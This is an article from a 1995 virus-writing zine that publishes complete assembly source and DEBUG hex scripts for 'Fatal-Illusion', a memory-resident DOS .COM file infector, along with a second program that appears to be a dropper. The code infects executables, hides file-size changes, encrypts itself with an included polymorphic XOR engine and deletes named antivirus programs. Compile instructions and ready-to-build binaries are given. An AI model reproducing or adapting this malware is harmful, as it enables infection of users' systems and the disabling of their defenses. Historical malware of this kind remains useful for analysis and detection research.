Insane Reality issue #7 - (c)opyright 1995 Immortal Riot               File 021 


% Fatal Illusion by Tornado %

-----------------------------

What follow here is a contribution to our little zine from Tornado in 
Denmark. Fatal-Illusion is a resident infector of COM-programs 
executed. It has some stealth-capabilities (size-stealth), and is also 
a self-encrypted virus nearly the polymorphic way ;).



There's a few more things to say about this virus, but I rather not since 
Tornado already listed them right below :). Quite funny indeed to see more 
and more viruswriter's popping up in Denmark ever since Darkman/Vlad 
started out! My best regards to that weird country whos inhabitants 
drink beer for breakfast and spacecake for lunch! (Hurray for ya!) 


There is by the way two hex-scripts below the source-code. Read the 
explaining text above the first one for further instructions. 


Thank you very much Tornado!



- The Unforgiven.



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
;

;      Virus Name  :     Fatal-Illusion v. 1.00

;      Length      :     946 bytes

;      Author      :     TorNado

;      Origion     :     Denmark 1995

;

;      Description :     -- Resident .COM infector

;                           -> 4bh = execute

;                        -- Semi stealth ( no change in DIR / SEARCH ) 
;                           -> 11h = find first FCB

;                           -> 12h = find next FCB

;                           -> 4eh = find first DTA

;                           -> 4fh = find next DTA

;                        -- Polymorphic encryption ( NaE ) 
;                        -- INT24 ( Critical Error Handler ) 
;                        -- Anti-Debugging

;                        -- Attack anti virus scanners on ( execution ) 
;                           -> Tbav

;                           -> F-prot

;                           -> Mcafee

;                           -> Toolkit

;                        -- Payload when DIR / CHKDSK is made (3ch=filecreate) 
;                           -> Drop BATCH file "echo > clock$" 
;                        -- Saves original Time / Date

;                        -- Infect COMMAND.COM

;                        -- Remove VSAFE from memory

;

;      To Compile  :     -- TASM /m2 fatill10.asm

;                           TLINK fatill10.obj

;                           EXE2BIN fatill10.exe fatill10.com 
;

;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; Greetings:    Metabolis       :  Hey my good heste friend :) 
;               Qark            :  heya man! WinWord :) cool 
;               Darkman         :  Thanx dude! "NaE", friends forever :) 
;               Mmir            :  Nice talking to ya on IRC 
;               The Unforgiven  :  Get BaCk on IrC it's the right place ! 
;               Ace             :  Party GoD! u know what i think of U :) 
;               IR              :  Get bAck tO WorK the WoRlD NeEds U :) 
;               #virus          :  And all the ppls on IRC 
;

;               And least but not less a BIG yahoooo to the world! 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
fatill10        segment

                assume  cs:fatill10,es:fatill10,ds:fatill10 
                org     00h



start:          xor     ax,ax     ; so we dont get caught as BURMA.1 
                mov     ax,0fa01h ; Kick VSAFE

                mov     dx,5945h

                int     16h



                call    deltaOFF



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; Get delta offset!

;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
deltaOFF:       pop     bp

                sub     bp,offset deltaOFF



anti_debug:     int     03h

                mov     word ptr ds:[bp+offset anti_debug],020cdh 
                mov     word ptr ds:[bp+offset anti_debug],0e83bh 
                int     16h



                jmp     short installation



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; This is the part that drops a small BATCH when ever a DIR / CHKDSK is made! 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
drop_program:   push    ax bx bp cx dx di si ds es



                call    interrupt24



                lea     dx,[bp + offset filename] ; this creates our 
        push    ds                        ; little signature 
                push    cs

                pop     ds

                mov     ah,3ch

                mov     cx,3

                int     21h

                jc      no_drop



                xchg    ax,bx

                mov     ah,40h

                mov     cx,(drop_end - drop_start)

                lea     dx,[bp + offset drop_start]

                int     21h



                mov     ah,3eh

                int     21h



no_drop:        jmp     exit_virus



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; Install virus in memory, use 8879h / FI later to check if resident 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
installation:   mov     ax,8879h

                int     21h



                cmp     bx,'FI'                          ; FI returned in bx? 
                je      error_resident                   ; = assume resident 


cut_memory:     mov     ah,4ah                           ; find top of memory 
                mov     bx,0ffffh                        ; (65536) 
                int     21h



                sub     bx,((codeend-start+15)/16+268)*2+1  ; resize enough 
                mov     ah,4ah                              ; para's 
                int     21h                                 ; for virus 


                mov     ah,48h                               ; allocate for 
                mov     bx,((codeend-start+15)/16+268)*2     ; virus 
                int     21h

                jc      error_resident



                dec     ax                                   ; ax - 1 = mcb 


                mov     es,ax

                mov     byte ptr es:[0],'Z'

                mov     word ptr es:[1],8                    ; dos = mcb owner 
                inc     ax



                cld

                lea     si,[bp+offset start]                 ; vir start 
                mov     es,ax

                xor     di,di

                mov     cx,(codeend-start+4)/2               ; vir len 
                rep     movsw



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; Grab the int21h..... yahooo we are on our way!

;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
hook_int21h:    xor     ax,ax

                mov     ds,ax

                push    ds



                lds     ax,ds:[21h*4]

                mov     word ptr es:[oldint21h],ax

                mov     word ptr es:[oldint21h+2],ds

                pop     ds

                mov     word ptr ds:[21h*4],offset virusint21 


                mov     bx,es

                mov     ds:[21h*4+2],bx



                push    cs

                pop     ds



error_resident: push    cs

                pop     es



                mov     di,100h

                mov     cx,4

                lea     si,[bp+offset orgbuf]       ; fix correct offset (delta) 
                repne   movsb



                mov     ax,101h

                dec     ax                               ; entry point 
                jmp     ax



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; FI's new int21, check for execution, semi-stealth, and payload 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
virusint21      proc    near



                xchg    ax,bx                  ; xchg ax,bx -> beat Flag "L" 
                cmp     bx,4b00h               ; Execute

                xchg    ax,bx

                je      jmpinfect



                cmp     ah,11h                 ; FCB findfirst 
                je      FCB_stealth



                cmp     ah,12h                 ; FCB findnext 
                je      FCB_stealth



                cmp     ah,4eh                 ; DTA findfirst 
                je      DTA_stealth



                cmp     ah,4fh                 ; DTA findnext 
                je      DTA_stealth



                cmp     ah,36h                 ; Disk space! 
                je      payload_time



                cmp     ax,8879h               ; Check if resident 
                jne     function21

                mov     bx,'FI'                ; if so, return FI so virus 
                iret                           ; won't load resident twice+ 


virusint21      endp



function21      proc    near

                jmp     dword ptr cs:[oldint21h]

                ret

function21      endp



jmpinfect:      jmp     infect



payload_time:   jmp     drop_program



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; FCB stealth, means that u cant see any filesize change we a DIR is made 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
FCB_stealth:    pushf

                push    cs

                call    function21

                or      al,al                    ;was the dir call sucessfull?? 
                jnz     skip_dir                 ;if not skip it 


                push    ax bx es



                mov     ah,51h                   ; get current PSP to es:bx 
                int     21h

                mov     es,bx

                cmp     bx,es:[16h]              ;is the PSP ok?? 
                jnz     error_1



                mov     bx,dx

                mov     al,[bx]                  ;al holds current drive 
                push    ax                       ;extended FCB 
                mov     ah,2fh                   ;get DTA-area 
                int     21h

                pop     ax

                inc     al

                jnz     no_ext

                add     bx,7



no_ext:         mov     al,byte ptr es:[bx+17h]   ;get seconds field 
                and     al,1fh

                xor     al,01h                    ;is the file infected?? 
                jnz     error_1                   ;if not don't hide size 


hide_it:        sub     word ptr es:[bx+1dh],(filepadding) ;else sub vir_size 


error_1:        pop     es bx ax

skip_dir:       retf    2



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; DTA stealth means that no filesize change will be shown when SEARCH 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
DTA_stealth:    pushf

                push    cs

                call    function21

                jc      eofs



                push    ax es bx                  ;preserve registers 
                mov     ah,2fh                    ;get DTA-area 
                int     21h



                mov     ax,es:[bx+16h]

                and     ax,1fh                    ;is the PSP ok?? 
                xor     al,01h

                jnz     not_inf



sub_it:         sub     word ptr es:[bx+1ah],(filepadding)   ;sub vir_size 


not_inf:        pop     bx es ax

eofs:           retf    2



virusint24      proc    near

                mov     al,03h

                iret

virusint24      endp



jmpexit_virus:  jmp     exit_virus



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; Infection routine, check if AV-program, get int24h we dont like shitty msg! 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
infect:         push    ax bx bp cx dx di si ds es



open_file:      call    interrupt24



                call    anti_virus



                mov     ax,3d02h           ; open file with read/write axs 
                int     21h

                push    ax

                jc      jmpexit_virus      ; if error jumpout 
                pop     ax



                xchg    ax,bx



                mov     ax,5700h

                int     21h



                mov     cs:[save_time],cx

                mov     cs:[save_date],dx



                push    ds

                push    cs

                pop     ds

                push    cs

                pop     es



                mov     ah,3fh                    ; read first four bytes 
                mov     dx,offset orgbuf          ; to orgbuf 
                mov     cx,4

                int     21h



                cmp     byte ptr cs:[orgbuf],'M'   ; check 1 byte 
                je      close_file



                cmp     byte ptr cs:[orgbuf+3],'F' ; already infected? 
                je      exit_virus



move_pointer:   mov     ax,4202h

                call    file_pointer



                mov     bp,ax

                sub     ax,3

                mov     word ptr cs:[newbuf+1],ax



;************** Encrypt Write start *********************

                xor     ah,ah

                in      al,40h              ; AL = random number 
                mov     dl,(tableend-tablebegin)

                div     dl

                xor     ah,ah

                mov     si,ax

                mov     dl,[onebytes+si]    ; DL = garbage instruction 


                cld

                mov     cx,(codeend-start)

                lea     di,codeend

                push    di

                xor     si,si

                add     bp,100h             ; BP = decryptors offset 
                call    nae_crypt



                mov     ah,40h

                mov     cx,(filepadding)

                pop     dx                      ; Load DX from stack 
                int     21h

;************** Encrypt Write End *********************



                mov     ax,4200h

                call    file_pointer



                mov     ah,40h                       ; write new jump 
                mov     cx,4

                mov     dx,offset newbuf

                int     21h



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; Set stealth marker (0e0h), restore old time / date, and int24h 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
close_file:

stealth_marker: mov     ax,5701h

                mov     dx,cs:[save_date]

                mov     cx,cs:[save_time]

                and     cl,0e0h                     ; stealth marker 
                inc     cl

                int     21h



                mov     ah,3eh                      ; close file 
                int     21h



                push    ds

                pop     ds

                mov     ds,cs:[save_int24+2]

                mov     dx,cs:[save_int24]

                mov     ax,2524h

                int     21h                     ; restore the int 24h 


exit_virus:     pop     ds es ds si di dx cx bp bx ax

                jmp     function21



file_pointer:   cwd

                xor     cx,cx

                int     21h

                ret



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; This is where we take over interrupt 24!

;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
interrupt24:    push    ds

                push    dx

                mov     ax,3524h

                int     21h

                mov     word ptr cs:[save_int24],bx

                mov     word ptr cs:[save_int24+2],es



                push    cs

                pop     ds

                mov     dx,offset virusint24

                mov     ax,2524h

                int     21h



                pop     dx

                pop     ds

                ret



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
;************************ Anti AV-program test ******************************* 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
anti_virus      proc    near

                push    si cx



                mov     si,dx

                mov     al,'.'

                rep     scasb



loop_me:        cmp     byte ptr ds:[si],2eh    ;Find ASCIIZ string 
                je      search_1

                inc     si

                loop    loop_me



search_1:       cmp     ds:[si-2],'NA'          ; TBscan ! (tbav) 
                jne     search_2                ; Scan ! (mcafee) 
                cmp     ds:[si-4],'CS'

                je      enemy_file



search_2:       cmp     ds:[si-2],'DL'          ; VShield ! (mcafee) 
                jne     search_3

                cmp     ds:[si-4],'EI'

                je      enemy_file



search_3:       cmp     ds:[si-2],'TO'          ; F-prot ! 
                jne     search_4

                cmp     ds:[si-4],'RP'

                je      enemy_file



search_4:       cmp     ds:[si-2],'PO'          ; Virstop ! (f-prot) 
                jne     search_5

                cmp     ds:[si-4],'TS'

                je      enemy_file



search_5:       cmp     ds:[si-2],'VA'          ; TBAV !

                jne     search_6

                cmp     ds:[si-4],'BT'

                je      enemy_file



search_6:       cmp     ds:[si-2],'TI'          ; Toolkit ! (Dr. solomon) 
                jne     search_7

                cmp     ds:[si-4],'KL'

                je      enemy_file



search_7:       cmp     ds:[si-2],'UR'          ; Findviru ! (toolkit) 
                jne     nothing_forme

                cmp     ds:[si-4],'IV'

                je      enemy_file



;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
; If NOT AV then just continue as normal, but if AV then DELETE the sucker! 
;=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
*=*=*= 
nothing_forme:  pop     cx

                pop     si                      ; good file set CARRY FLAG 
                clc                             ; to normal 
                retn



enemy_file:     mov     ax,4301h                ; Clear attributes 
                xor     cx,cx

                int     21h

                pop     cx

                pop     si

                mov     ah,41h                  ; Delete ! 
                int     21h

                jmp     function21

                retn

anti_virus      endp



logo            db      "[ Fatal-Illusion (c) made by TorNado in Denmark '95 ]" 


save_time       dw      0

save_date       dw      0



filepadding     equ     (codeend - start)+268

save_int24      dw      2 dup (?)



oldint21h       dd      ?

orgbuf          db      0cdh,20h,00,00   ; place to save first 4 bytes 
newbuf          db      0e9h,00,00,'F'   ; work on new Entry Point 


drop_start:



evil            db      'echo > clock$',0



drop_end:



filename        db      'fatill10.bat',0



tablebegin:

onebytes        db      27h,2fh,37h,3fh,40h ; One byte object codes 
                db      41h,42h,43h,45h,46h

                db      47h,48h,49h,4ah,4bh

                db      4dh,4eh,4fh,90h,91h

                db      92h,93h,95h,96h,97h

                db      98h,99h,9eh,9fh

                db      0a6h,0ach,0adh,0aeh

                db      0cch,0d7h,0edh,0f5h

                db      0f8h,0f9h,0fbh,0fch

                db      0fdh

tableend:



include         nae.asm                     ; Include Nearly an Engine 


codeend:



fatill10        ends

end             start



;==================================================================
============= 
;                    [* NEARLY AN ENGINE *]



;                 Calling parameters:

;                   DL     One byte garbage instruction

;                   CX     Length of original code

;                   BP     Decryptors offset

;                   DS:SI  Pointer to original code

;                   ES:DI  Pointer to decryptor + encrypted code 


;                 Return parameters:

;                   CX     Length of decryptor + encrypted code 


;                 AX, DX, SI, DI and the flags are destroyed. 


;                 The size of the decryptor will range from 13 
;                 to 268 bytes. The decryption algorithm is a 
;                 8-bit exclusive OR (XOR) with a random

;                 decryption value.



;                 The size of NaE is 66 bytes (excl. ' [NaE] '). 


nae_begin    equ     $                   ; Begining of Nearly an Engine 


nae_crypt    proc    near                ; Nearly an Engine 
             push    cx                  ; Save CX at stack 
             push    si                  ; Save SI at stack 
             push    cx                  ; Save CX at stack 
             push    cx                  ; Save CX at stack 


             xor     ax,ax               ; Clear AX

             in      al,40h              ; AL = random number 
             push    ax                  ; Save AX at stack 
             xchg    ax,cx               ; Exchange AX with CX 
             mov     al,dl               ; AL = garbage instruction 
             rep     stosb               ; Generate garbage instructions 


             pop     ax                  ; Load AX from stack 
             add     ax,(decryptorend-decryptor)

             mov     dx,ax               ; DX = size of garbage + decryptor 
             add     ax,bp               ; Add decryptor's offset to AX 
             mov     word ptr decryptor+01h,ax



             pop     ax                  ; Load AX from stack (CX) 
             mov     word ptr decryptor+04h,ax



             in      al,40h              ; AL = random number 
             mov     byte ptr decrypt+03h,al



             mov     cl,(decryptorend-decryptor)

             lea     si,decryptor        ; SI = offset of decryptor 
             rep     movsb               ; Move the decryptor 


             pop     cx                  ; Load CX from stack 
             pop     si                  ; Load SI from stack 


             push    di                  ; Save DI at stack 
             rep     movsb               ; Move plain code after the decryptor 
             pop     di                  ; Load DI from stack 


             jmp     encrypt

decryptor:

             mov     di,0000h            ; DI = offset of encrypted code 
encrypt:

             mov     cx,0000h            ; CX = length of encrypted code 
decrypt:

             xor     byte ptr cs:[di],00h

             inc     di                  ; Increase DI

             loop    decrypt

decryptorend:

             pop     cx                  ; Load CX from stack 
             add     cx,dx               ; CX = length of decryptor etc. 


             ret                         ; Return!

             endp



enginename   db      ' [NaE] '           ; Name of the engine 


nae_end      equ     $                   ; End of Nearly an Engine 
nae_size     equ     $-nae_begin         ; Size of Nearly an Engine 


==================================================================
============== 
; Here is the original (first generation) virus script of Fatal 
; Illusion. The next hex-script ('failure.com') being a file 
; this virus will fail infecting (No, 4thChar isn't 'F' I inserted 
; a NOP as 4th char to prevent that!), Sorry Tornado :). It was 
; just a coincidence, of sorts ;)..

==================================================================
============== 
N  fatal.com

E  100  33 C0 B8 01 FA BA 45 59 CD 16 E8 00 00 5D 81 ED

E  110  0D 00 CC 3E C7 86 12 00 CD 20 3E C7 86 12 00 3B

E  120  E8 CD 16 EB 2F 50 53 55 51 52 57 56 1E 06 E8 05

E  130  02 8D 96 32 03 1E 0E 1F B4 3C B9 03 00 CD 21 72

E  140  10 93 B4 40 B9 0E 00 8D 96 24 03 CD 21 B4 3E CD

E  150  21 E9 CF 01 B8 79 88 CD 21 81 FB 49 46 74 58 B4

E  160  4A BB FF FF CD 21 81 EB 91 02 B4 4A CD 21 B4 48

E  170  BB 90 02 CD 21 72 40 48 8E C0 26 C6 06 00 00 5A

E  180  26 C7 06 01 00 08 00 40 FC 8D B6 00 00 8E C0 33

E  190  FF B9 DB 01 F3 A5 33 C0 8E D8 1E C5 06 84 00 26

E  1a0  A3 18 03 26 8C 1E 1A 03 1F C7 06 84 00 CB 00 8C

E  1b0  C3 89 1E 86 00 0E 1F 0E 07 BF 00 01 B9 04 00 8D

E  1c0  B6 1C 03 F2 A4 B8 01 01 48 FF E0 93 81 FB 00 4B

E  1d0  93 74 28 80 FC 11 74 28 80 FC 12 74 23 80 FC 4E

E  1e0  74 5E 80 FC 4F 74 59 80 FC 36 74 11 3D 79 88 75

E  1f0  04 BB 49 46 CF 2E FF 2E 18 03 C3 EB 6E E9 25 FF

E  200  9C 0E E8 F0 FF 0A C0 75 34 50 53 06 B4 51 CD 21

E  210  8E C3 26 3B 1E 16 00 75 21 8B DA 8A 07 50 B4 2F

E  220  CD 21 58 FE C0 75 03 83 C3 07 26 8A 47 17 24 1F

E  230  34 01 75 06 26 81 6F 1D C1 04 07 5B 58 CA 02 00

E  240  9C 0E E8 B0 FF 72 1B 50 06 53 B4 2F CD 21 26 8B

E  250  47 16 25 1F 00 34 01 75 06 26 81 6F 1A C1 04 5B

E  260  07 58 CA 02 00 B0 03 CF E9 B8 00 50 53 55 51 52

E  270  57 56 1E 06 E8 BF 00 E8 DA 00 B8 02 3D CD 21 50

E  280  72 E6 58 93 B8 00 57 CD 21 2E 89 0E 10 03 2E 89

E  290  16 12 03 1E 0E 1F 0E 07 B4 3F BA 1C 03 B9 04 00

E  2a0  CD 21 2E 80 3E 1C 03 4D 74 50 2E 80 3E 1F 03 46

E  2b0  74 71 B8 02 42 E8 78 00 8B E8 2D 03 00 2E A3 21

E  2c0  03 32 E4 E4 40 B2 2A F6 F2 32 E4 8B F0 8A 94 3F

E  2d0  03 FC B9 B2 03 BF B2 03 57 33 F6 81 C5 00 01 E8

E  2e0  87 01 B4 40 B9 C1 04 5A CD 21 B8 00 42 E8 40 00

E  2f0  B4 40 B9 04 00 BA 20 03 CD 21 B8 01 57 2E 8B 16

E  300  12 03 2E 8B 0E 10 03 80 E1 E0 FE C1 CD 21 B4 3E

E  310  CD 21 1E 1F 2E 8E 1E 16 03 2E 8B 16 14 03 B8 24

E  320  25 CD 21 1F 07 1F 5E 5F 5A 59 5D 5B 58 E9 C5 FE

E  330  99 33 C9 CD 21 C3 1E 52 B8 24 35 CD 21 2E 89 1E

E  340  14 03 2E 8C 06 16 03 0E 1F BA 65 01 B8 24 25 CD

E  350  21 5A 1F C3 56 51 8B F2 B0 2E F3 AE 80 3C 2E 74

E  360  03 46 E2 F8 81 7C FE 41 4E 75 07 81 7C FC 53 43

E  370  74 58 81 7C FE 4C 44 75 07 81 7C FC 49 45 74 4A

E  380  81 7C FE 4F 54 75 07 81 7C FC 50 52 74 3C 81 7C

E  390  FE 4F 50 75 07 81 7C FC 53 54 74 2E 81 7C FE 41

E  3a0  56 75 07 81 7C FC 54 42 74 20 81 7C FE 49 54 75

E  3b0  07 81 7C FC 4C 4B 74 12 81 7C FE 52 55 75 07 81

E  3c0  7C FC 56 49 74 04 59 5E F8 C3 B8 01 43 33 C9 CD

E  3d0  21 59 5E B4 41 CD 21 E9 1B FE C3 5B 20 46 61 74

E  3e0  61 6C 2D 49 6C 6C 75 73 69 6F 6E 20 28 63 29 20

E  3f0  6D 61 64 65 20 62 79 20 54 6F 72 4E 61 64 6F 20

E  400  69 6E 20 44 65 6E 6D 61 72 6B 20 27 39 35 20 5D

E  410  00 00 00 00 00 00 00 00 00 00 00 00 CD 20 00 00

E  420  E9 00 00 46 65 63 68 6F 20 3E 20 63 6C 6F 63 6B

E  430  24 00 66 61 74 69 6C 6C 31 30 2E 62 61 74 00 27

E  440  2F 37 3F 40 41 42 43 45 46 47 48 49 4A 4B 4D 4E

E  450  4F 90 91 92 93 95 96 97 98 99 9E 9F A6 AC AD AE

E  460  CC D7 ED F5 F8 F9 FB FC FD 51 56 51 51 33 C0 E4

E  470  40 50 91 8A C2 F3 AA 58 05 0D 00 8B D0 03 C5 A3

E  480  9B 03 58 A3 9E 03 E4 40 A2 A3 03 B1 0D BE 9A 03

E  490  F3 A4 59 5E 57 F3 A4 5F EB 03 BF 00 00 B9 00 00

E  4a0  2E 80 35 00 47 E2 F9 59 03 CA C3 20 5B 4E 61 45

E  4b0  5D 20

RCX

3b2

W

Q

==================================================================
============= 
; "Where Fatal Illusion fails, this does the advertising!" 
;            (*  or to put it in another way *)

;  " Fuck-off TU, is this what I get for contributing?  "

; 



N failure.com

E  100  E9 89 00 90 46 61 74 61 6C 20 49 6C 6C 75 73 69

E  110  6F 6E 20 28 4A 75 73 74 20 4E 61 69 6C 20 27 65

E  120  6D 20 75 70 21 29 20 44 72 6F 70 70 65 72 2C 0D

E  130  0A 6D 61 64 65 20 62 79 20 74 68 65 20 49 6D 6D

E  140  6F 72 74 61 6C 20 52 69 6F 74 20 41 6E 61 72 63

E  150  68 69 73 74 73 20 2D 20 31 39 39 35 0D 0A C4 C4

E  160  C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 5B 49 52

E  170  41 20 42 57 41 52 45 21 5D C4 C4 C4 C4 C4 C4 C4

E  180  C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 24 B4 2C CD 21

E  190  0A D2 75 0D B9 A5 00 BE AD 02 AC CD 29 E2 FB CD

E  1a0  20 B4 09 BA 04 01 CD 21 B4 4A BB FF FF B9 66 06

E  1b0  CD 21 3B C1 74 49 B4 4A 83 EB 2D CD 21 B4 48 BB

E  1c0  2C 00 CD 21 BF 00 01 2D 10 00 8E C0 B9 52 02 F3

E  1d0  A4 06 1F FE 06 F1 00 B8 08 35 CD 21 89 1E 6C 02

E  1e0  8C 06 6E 02 B4 25 BA 00 02 CD 21 B8 21 35 CD 21

E  1f0  89 1E A9 02 8C 06 AB 02 B4 25 BA 95 02 CD 21 C3

E  200  9C 50 51 52 56 57 1E 06 33 C0 8E D8 A0 6C 04 3C

E  210  14 77 50 FC B8 00 B8 8E D8 0E 07 BE A8 02 BF 52

E  220  03 B9 25 00 F3 A5 BA DA 03 EC A8 08 75 FB EC A8

E  230  08 74 FB B9 25 00 BE 70 02 BF A8 02 1E 06 1F 07

E  240  A4 47 E2 FC EC A8 08 75 FB B9 50 00 EC A8 01 74

E  250  FB EC A8 01 75 FB E2 F4 B9 25 00 BF A8 02 BE 52

E  260  03 F3 A5 07 1F 5F 5E 5A 59 58 9D EA 00 00 00 00

E  270  5B 20 4B 49 4C 4C 20 27 45 4D 20 41 4C 4C 20 21

E  280  20 5D 20 5B 20 4B 49 4C 4C 20 27 45 4D 20 41 4C

E  290  4C 20 21 20 5D 80 FC 4A 75 0E 83 FB FF 75 09 81

E  2a0  F9 66 06 75 03 8B C1 CF EA 00 00 00 00 57 68 65

E  2b0  6E 20 74 65 6E 20 72 65 64 2D 72 6F 73 65 73 20

E  2c0  77 6F 6E 27 74 20 68 65 6C 70 2E 2E 2E 2E 2E 2E

E  2d0  2E 20 69 6E 64 65 65 64 20 74 68 65 72 65 20 61

E  2e0  72 65 20 0D 0A 73 74 72 69 6E 67 73 20 61 74 74

E  2f0  61 63 68 65 64 2E 2E 20 73 74 75 70 69 64 20 67

E  300  6F 6F 66 79 2D 62 69 74 63 68 79 2D 45 6D 6D 61

E  310  21 21 21 21 0D 0A 57 68 79 20 77 6F 6E 27 74 20

E  320  79 6F 75 20 6A 75 73 74 20 6C 65 74 20 6D 65 20

E  330  66 75 63 6B 20 79 6F 75 3F 20 0D 0A 2A 2A 2A 20

E  340  5B 20 54 55 20 2F 20 49 52 20 5D 20 2A 2A 2A 0D

E  350  0A 00

RCX

252

W

Q

